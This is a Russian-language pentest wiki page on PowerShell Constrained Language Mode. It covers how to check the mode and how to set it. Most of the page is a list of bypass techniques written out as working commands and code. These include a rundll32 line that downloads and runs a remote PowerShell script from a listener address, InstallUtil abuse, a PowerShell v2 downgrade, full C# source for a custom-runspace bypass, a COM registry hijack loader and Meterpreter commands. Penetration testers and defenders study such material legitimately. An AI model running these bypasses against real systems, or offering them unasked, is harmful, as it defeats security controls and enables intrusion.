Clm
Материал из InformationSecurity WIKI
Версия от 14:02, 16 марта 2022; Drakylar (обсуждение | вклад) (Новая страница: «Категория:Pentest CLM(Constrained Language Mode) - мера защиты powershell от вызова критичных функций. = Обще…»)
CLM(Constrained Language Mode) - мера защиты powershell от вызова критичных функций.
Содержание
Общее
Определить включен ли CLM
1 PS C:\> $ExecutionContext.SessionState.LanguageMode
2 FullLanguage
3 PS C:\> $ExecutionContext.SessionState.LanguageMode
4 ConstrainedLanguage
Поменять режим(права админа)
1 PS C:\> $ExecutionContext.SessionState.LanguageMode
2 FullLanguage
3 PS C:\> $ExecutionContext.SessionState.LanguageMode = "ConstrainedLanguage"
4 PS C:\> $ExecutionContext.SessionState.LanguageMode
5 ConstrainedLanguage
Или выставить/удалить системную переменную окружения "__PSLockdownPolicy" (значение "4" если включено).
Обход защиты
rundll32.exe
https://github.com/iomoath/PowerShx
https://github.com/ropbear/CLMBypass
1 rundll32.exe CLMBypass.dll,Run IEX(New-Object Net.WebClient).DownloadString('http://192.168.49.72:8080/LAPSToolkit/LAPSToolkit.ps1');
2 rundll32 PowerShx.dll,main -i
3 PowerShx.exe -i
InstallUtil.exe
https://github.com/calebstewart/bypass-clm
1 dir \Windows\Microsoft.NET\* /s/b | findstr InstallUtil.exe$
2
3 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U "C:\tmp\bypass-clm.exe"
powershell version 2
1 powershell -version 2
Custom PowerShell Runspace
1 using System;
2 using System.Management.Automation;
3 using System.Management.Automation.Runspaces;
4
5 namespace CLMBypass
6 {
7 class Program
8 {
9 static void Main(string[] args)
10 {
11 String cmd = args[0];
12 Runspace rs = RunspaceFactory.CreateRunspace();
13 rs.Open();
14 PowerShell ps = PowerShell.Create();
15 ps.Runspace = rs;
16 ps.AddScript(cmd);
17 ps.Invoke();
18 rs.Close();
19 }
20 }
21 }
Скомпилировать как
1 C:\Windows\Microsoft.NET\Framework\v4.0.30319\Csc.exe /r:"System.Management.Automation.dll" CLMBypass.cs
Использовать
1 .\CLMBypss.exe "COMMAND"
dll loader - создание своего object type
Поместить DLL на сервер и запустить следующий код:
1 $dllPath = "C:\test.dll"
2 $uuid = "{72C24DD5-D70A-438B-8A42-98424B88D3AD}"
3
4 New-PSDrive -PSProvider Registry -Name HKU -Root HKEY_USERS -erroraction 'silentlycontinue' | Out-Null
5
6 $matches = whoami /user | select-string -Pattern "(S-1-5-[-0-9]+)" -all | select -ExpandProperty Matches
7 $sid = $matches.value
8
9 $key = 'HKU:\{0}_classes' -f $sid
10
11 # Добавление InProcServer
12 New-Item -Path $key -Name CLSID -erroraction 'silentlycontinue' | Out-Null
13 $key = 'HKU:\{0}_classes\CLSID\{1}' -f $sid, $uuid
14 New-Item -Path $key -Name 'InprocServer32' -erroraction 'silentlycontinue' | Out-Null
15 $key = 'HKU:\{0}_classes\CLSID\{1}\InprocServer32' -f $sid, $uuid
16 New-ItemProperty -Path $key -Name "(Default)" -Value $dllPath -PropertyType String -Force -erroraction 'silentlycontinue' | Out-Null
17
18 # Добавляем коротное название
19 $key = 'HKU:\{0}_classes' -f $sid
20 New-Item -Path $key -Name xpn -erroraction 'silentlycontinue' | Out-Null
21 $key = 'HKU:\{0}_classes\xpn' -f $sid
22 New-Item -Path $key -Name CLSID -erroraction 'silentlycontinue' | Out-Null
23 $key = 'HKU:\{0}_classes\xpn\CLSID' -f $sid
24 New-ItemProperty -Path $key -Name "(Default)" -Value $uuid -PropertyType String -Force -erroraction 'silentlycontinue' | Out-Null
25
26 # Запуск
27 New-Object -ComObject xpn -ErrorAction 'SilentlyContinue' | Out-Null
Можно написать DLL, который будет отключать CLM.
Подробнее: https://www.mdsec.co.uk/2018/09/applocker-clm-bypass-via-com/
MSF Meterpreter
Meterpreter в метасплоите отключает защиту CLM.
Для этого нужно создать соединение, перейти в него и ввести следующие команды:
1 load powershell
2 powershell_shell